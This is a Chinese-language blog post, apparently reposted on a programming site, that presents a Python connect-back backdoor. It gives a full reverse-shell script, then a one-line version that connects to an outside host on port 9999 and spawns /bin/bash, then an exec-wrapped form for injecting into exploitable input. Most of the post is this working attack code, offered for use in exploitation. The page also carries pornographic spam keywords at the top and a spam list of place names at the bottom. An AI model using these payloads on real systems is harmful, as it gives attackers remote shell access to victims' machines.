国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

在漏洞利用Python代碼真的很爽

2019-11-25 18:47:04
字體:
來源:轉載
供稿:網友
不知道怎么忽然想看這個,呵呵
小我的python的反shell的代碼
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006

import sys
import os
import socket
shell = "/bin/sh"

def usage(programname):
  print "Python Connect-back Backdoor"
  print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
  print "Date: July 15th 2006/n"
  print "Usage: %s <conn_back_host> <port>/n" % programname

def main():
  if len(sys.argv) != 3: 
    usage(sys.argv[0])
    sys.exit(1)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try: 
    s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
    print "[+] Connect ok." 
  except: 
    print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2]) 
    sys.exit(2)
  s.send("-------------------- Python Connect-back Backdoor --------------------/n")
  s.send("----------------------------- By wofeiwo -----------------------------/n")
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  global shell
  os.system(shell)
  print "See U!"
  s.close()

if __name__ == "__main__": main()



用在漏洞利用的時候不太好,不是么?我們想要短點的,節省下就是

import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master/r/n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?/r/n");os.system("/bin/bash");s.close();s.send("See u next time!/r/n");


如何?很短了吧?
不過很可能漏洞利用的地方不允許多語句,譬如允許的輸入是在eval當中,不能多語句(后面有解釋)那么還可以變化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master//r//n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?//r//n");os.system("/bin/bash");s.close();s.send("See u next time!//r//n");';


注意是//r//n哦,即使在''里好象/r/n一樣會成為換行,所以其實這里即使不用;一樣可以構造好代碼的,另外,為什么不用eval呢?
翻了下手冊
exec語句用來執行儲存在字符串或文件中的Python語句。例如,我們可以在運行時生成一個包含Python代碼的字符串,然后使用exec語句執行這些語句



eval語句用來計算存儲在字符串中的有效Python表達式



呵呵,這里用eval好象會出錯.
YY一下,思想是相同的,但是具體到語言又是不一樣的,如何跳出語言的限制呢?是個問題......
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 黄冈市| 乐安县| 简阳市| 张家川| 阜阳市| 扬州市| 楚雄市| 茶陵县| 基隆市| 张北县| 甘孜| 昌都县| 桃园县| 定日县| 丰原市| 乌苏市| 稻城县| 平舆县| 濉溪县| 涟水县| 眉山市| 杭锦后旗| 华容县| 海淀区| 锦州市| 长兴县| 西平县| 镇巴县| 台北县| 澄城县| 石嘴山市| 通化市| 赤峰市| 肥东县| 蒙自县| 庆安县| 措勤县| 东光县| 斗六市| 峨眉山市| 措勤县|